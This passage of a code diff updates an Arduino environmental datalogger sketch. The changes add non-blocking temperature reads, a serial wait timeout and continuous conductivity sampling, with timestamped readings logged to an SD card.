 byte string_received = 0; // Whether it received a string from the EC circuit.

+#define EC_SAMPLING_FREQUENCY 1 // Set the sampling frequency in seconds (no decimals) of the conductivity probe (which by extension sets the overall frequency of logging to the sd).
+
 void setup () {

   // comment the following three lines out for final deployment
 #ifndef ESP8266
-  while (!Serial);   //for Leonardo/Micro/Zero
+  while (!Serial && millis() < 20000); //for Leonardo/Micro/Zero - Wait for a computer to connect via serial or until a 20 second timeout has elapsed (This works because millis() starts counting the mlliseconds since the board turns on)
 #endif

   Serial.begin(9600);
@@ -54,7 +71,7 @@
   //Initialize SD card reader
   Serial.print("Initializing SD card...");

-  if (!SD.begin(chipSelect)) {
+  while (!SD.begin(chipSelect)) {

     Serial.println("Card failed, or not present");
     return;
@@ -98,23 +115,39 @@
   sensor.initializeMS_5803(); // Initialize pressure sensor

   sensors.begin();  // Intialize the temperature sensors.
-
-  ecSerial.begin(9600); // Set baud rate for conductivity circuit.
-
-}
-
-void loop () {
-
-  DateTime now = rtc.now(); //check RTC
-
-  sensor.readSensor(); //read pressure sensor
-  pressure_abs = sensor.pressure();
-
-  //read temperature sensor
-  sensors.requestTemperatures();
+  sensors.setResolution(TEMP_SENSOR_RESOLUTION);  // Set the resolution (accuracy) of the temperature sensors.
+  sensors.requestTemperatures(); // on the first pass request all temperatures in a blocking way to start the variables with true data.
   tempA = sensors.getTempCByIndex(0);
   tempB = sensors.getTempCByIndex(1);
   tempC = sensors.getTempCByIndex(2);
+  sensors.setWaitForConversion(false);  // Now tell the Dallas Temperature library to not block this script while it's waiting for the temperature mesurement to happen
+
+  ecSerial.begin(9600); // Set baud rate for conductivity circuit.
+
+  do {
+
+    ecSerial.write('i');  // Tell electrical conductivity board to reply with the board information by sending the 'i' character ...
+    ecSerial.write('\r'); // ... Finish the command with the charage return character.
+    received_from_sensor = ecSerial.readBytesUntil('\r', EC_data, 30); // Wait for the ec circut to send the data before moving on...
+    EC_data[received_from_sensor] = 0; // Null terminate the data by setting the value after the final character to 0.
+
+  } while (EC_data[1] != 'I'); // Keep looping until the ecSerial has sent the board info string (also indicating it has booted up, I think...)
+
+  Serial.print("EC Board Info (Format: ?I,[board type],[Firmware Version]) -> "); Serial.println(EC_data);
+
+  delay(10);
+  ecSerial.write('C');  // Tell electrical conductivity board to continously ("C") transmit mesurements ...
+  ecSerial.write(',');  //
+  ecSerial.print(EC_SAMPLING_FREQUENCY);    // ... every x seconds (here x is the EC_SAMPLING_FREQUENCY variable)
+  ecSerial.write('\r'); // Finish the command with the carrage return character.
+
+  received_from_sensor = ecSerial.readBytesUntil('\r', EC_data, 10); // keep reading the reply until the return character is recived (or it gets to be 10 characters long, which shouldn't happen)
+  EC_data[received_from_sensor] = 0; // Null terminate the data by setting the value after the final character to 0.
+  Serial.print("EC Frequency Set Sucessfully? -> "); Serial.println(EC_data);
+
+}
+
+void loop () {

   //Read electrical conductivity sensor
   if (ecSerial.available() > 0) {
@@ -122,198 +155,223 @@
     received_from_sensor = ecSerial.readBytesUntil(13, EC_data, 48);
     EC_data[received_from_sensor] = 0; // Null terminate the data by setting the value after the final character to 0.

-  }
-
-  if ((EC_data[0] >= 48) && (EC_data[0] <= 57)) { // Parse data, if EC_data begins with a digit, not a letter (testing ASCII values).
-
-    parse_data();
-
-  }
-
-  //output readings to serial monitor. A whole mess of if/else statements to keep numbers formatted correctly
-  Serial.print(now.year(), DEC);
-  Serial.print('/');
-
-  if (now.month() < 10) {
-
-    Serial.print(0);
-    Serial.print(now.month(), DEC);
-
-  }
-
-  else {
-
-    Serial.print(now.month(), DEC);
-
-  }
-
-  Serial.print('/');
-
-  if (now.day() < 10) {
-
-    Serial.print(0);
-    Serial.print(now.day(), DEC);
-
-  }
-
-  else {
-
-    Serial.print(now.day(), DEC);
-
-  }
-
-  Serial.print("  ");
-
-  if (now.hour() < 10) {
-
-    Serial.print(0);
-    Serial.print(now.hour(), DEC);
-
-  }
-
-  else {
-
-    Serial.print(now.hour(), DEC);
-
-  }
-
-  Serial.print(':');
-
-  if (now.minute() < 10) {
-
-    Serial.print(0);
-    Serial.print(now.minute(), DEC);
-
-  }
-
-  else {
-
-    Serial.print(now.minute(), DEC);
-
-  }
-
-  Serial.print(':');
-
-  if (now.second() < 10) {
-
-    Serial.print(0);
-    Serial.print(now.second(), DEC);
-
-  }
-
-  else {
-
-    Serial.print(now.second(), DEC);
-
-  }
-
-  Serial.print("  ");
-  Serial.print(pressure_abs);
-  Serial.print("  ");
-  Serial.print(tempA);
-  Serial.print("  ");
-  Serial.print(tempB);
-  Serial.print("  ");
-  Serial.print(tempC);
-  Serial.print("  ");
-  Serial.println(EC);
-
-  //output readings to data file. A whole mess of if/else statements to keep numbers formatted correctly
-  File dataFile = SD.open("datalog.txt", FILE_WRITE);
-
-  if (dataFile) {
-
-    dataFile.print(now.year(), DEC);
-    dataFile.print('/');
+    if ((EC_data[0] >= 48) && (EC_data[0] <= 57)) { // Parse data, if EC_data begins with a digit, not a letter (testing ASCII values).
+
+      parse_data();
+
+    }
+
+    // Read the temperature sensors.
+    if (millis() - tempADelayStartTime > requiredMesurementDelay) { // wait for conversion to happen before attempting to read temp probe A's value;
+      tempA = sensors.getTempCByIndex(0);
+      sensors.requestTemperaturesByIndex(0);  // request temp sensor A start mesuring so it can be read on the following loop (if enough time elapses).
+      tempADelayStartTime = millis();  // mark when we made the request to make sure we wait long enough before reading it.
+    }
+
+    if (millis() - tempBDelayStartTime > requiredMesurementDelay) { // wait for conversion to happen before attempting to read temp probe B's value;
+      tempB = sensors.getTempCByIndex(1);
+      sensors.requestTemperaturesByIndex(1);  // request temp sensor B start mesuring so it can be read on the following loop (if enough time elapses).
+      tempBDelayStartTime = millis();  // mark when we made the request to make sure we wait long enough before reading it.
+    }
+
+
+    if (millis() - tempCDelayStartTime > requiredMesurementDelay) { // wait for conversion to happen before attempting to read temp probe C's value;
+      tempC = sensors.getTempCByIndex(2);
+      sensors.requestTemperaturesByIndex(2);  // request temp sensor C start mesuring so it can be read on the following loop (if enough time elapses).
+      tempCDelayStartTime = millis(); // mark when we made the request to make sure we wait long enough before reading it.
+    }
+
+    sensor.readSensor(); //read pressure sensor
+    pressure_abs = sensor.pressure();
+
+    DateTime now = rtc.now(); //check RTC
+
+    //output readings to serial monitor. A whole mess of if/else statements to keep numbers formatted correctly
+    Serial.print(now.year(), DEC);
+    Serial.print('/');

     if (now.month() < 10) {

-      dataFile.print(0);
-      dataFile.print(now.month(), DEC);
-
-    }
-
-    else {
-
-      dataFile.print(now.month(), DEC);
-
-    }
-
-    dataFile.print('/');
+      Serial.print(0);
+      Serial.print(now.month(), DEC);
+
+    }
+
+    else {
+
+      Serial.print(now.month(), DEC);
+
+    }
+
+    Serial.print('/');

     if (now.day() < 10) {

-      dataFile.print(0);
-      dataFile.print(now.day(), DEC);
-
-    }
-
-    else {
-
-      dataFile.print(now.day(), DEC);
-
-    }
-
-    dataFile.print("  ");
+      Serial.print(0);
+      Serial.print(now.day(), DEC);
+
+    }
+
+    else {
+
+      Serial.print(now.day(), DEC);
+
+    }
+
+    Serial.print("  ");

     if (now.hour() < 10) {

-      dataFile.print(0);
-      dataFile.print(now.hour(), DEC);
-
-    }
-
-    else {
-
-      dataFile.print(now.hour(), DEC);
-
-    }
-
-    dataFile.print(':');
+      Serial.print(0);
+      Serial.print(now.hour(), DEC);
+
+    }
+
+    else {
+
+      Serial.print(now.hour(), DEC);
+
+    }
+
+    Serial.print(':');

     if (now.minute() < 10) {

-      dataFile.print(0);
-      dataFile.print(now.minute(), DEC);
-
-    }
-
-    else {
-
-      dataFile.print(now.minute(), DEC);
-
-    }
-
-    dataFile.print(':');
+      Serial.print(0);
+      Serial.print(now.minute(), DEC);
+
+    }
+
+    else {
+
+      Serial.print(now.minute(), DEC);
+
+    }
+
+    Serial.print(':');

     if (now.second() < 10) {

-      dataFile.print(0);
-      dataFile.print(now.second(), DEC);
-
-    }
-
-    else {
-
-      dataFile.print(now.second(), DEC);
-
-    }
-
-    dataFile.print("  ");
-    dataFile.print(pressure_abs);
-    dataFile.print("  ");
-    dataFile.print(tempA);
-    dataFile.print("  ");
-    dataFile.print(tempB);
-    dataFile.print("  ");
-    dataFile.print(tempC);
-    dataFile.print("  ");
-    dataFile.println(EC);
-    dataFile.close();
-
-  }
-
-  delay(50);
+      Serial.print(0);
+      Serial.print(now.second(), DEC);
+
+    }
+
+    else {
+
+      Serial.print(now.second(), DEC);
+
+    }
+
+    Serial.print("  ");
+    Serial.print(pressure_abs);
+    Serial.print("  ");
+    Serial.print(tempA);
+    Serial.print("  ");
+    Serial.print(tempB);
+    Serial.print("  ");
+    Serial.print(tempC);
+    Serial.print("  ");
+    Serial.println(EC);
+
+    //output readings to data file. A whole mess of if/else statements to keep numbers formatted correctly
+    File dataFile = SD.open("datalog.txt", FILE_WRITE);
+
+    if (dataFile) {
+
+      dataFile.print(now.year(), DEC);
+      dataFile.print('/');
+
+      if (now.month() < 10) {
+
+        dataFile.print(0);
+        dataFile.print(now.month(), DEC);
+
+      }
+
+      else {
+
+        dataFile.print(now.month(), DEC);
+
+      }
+
+      dataFile.print('/');
+
+      if (now.day() < 10) {
+
+        dataFile.print(0);
+        dataFile.print(now.day(), DEC);
+
+      }
+
+      else {
+
+        dataFile.print(now.day(), DEC);
+
+      }
+
+      dataFile.print("  ");
+
+      if (now.hour() < 10) {
+
+        dataFile.print(0);
+        dataFile.print(now.hour(), DEC);
+
+      }
+
+      else {
+
+        dataFile.print(now.hour(), DEC);
+
+      }
+
+      dataFile.print(':');
+
+      if (now.minute() < 10) {
+
+        dataFile.print(0);
+        dataFile.print(now.minute(), DEC);
+
+      }
+
+      else {
+
+        dataFile.print(now.minute(), DEC);
+
+      }
+
+      dataFile.print(':');
+
+      if (now.second() < 10) {
+
+        dataFile.print(0);
+        dataFile.print(now.second(), DEC);
+
+      }
+
+      else {
+
+        dataFile.print(now.second(), DEC);
+
+      }
+
+      dataFile.print("  ");
+      dataFile.print(pressure_abs);
+      dataFile.print("  ");
+      dataFile.print(tempA);
+      dataFile.print("  ");
+      dataFile.print(tempB);
+      dataFile.print("  ");
+      dataFile.print(tempC);
+      dataFile.print("  ");
+      dataFile.println(EC);
+      dataFile.close();
+
+    }
+
+  }
+
+  // Tip: For a slower overall logging frequency, set the EC_SAMPLING_FREQUENCY variable rather than adding a delay (this will avoid the possibility of garbled ec sensor readings)

 }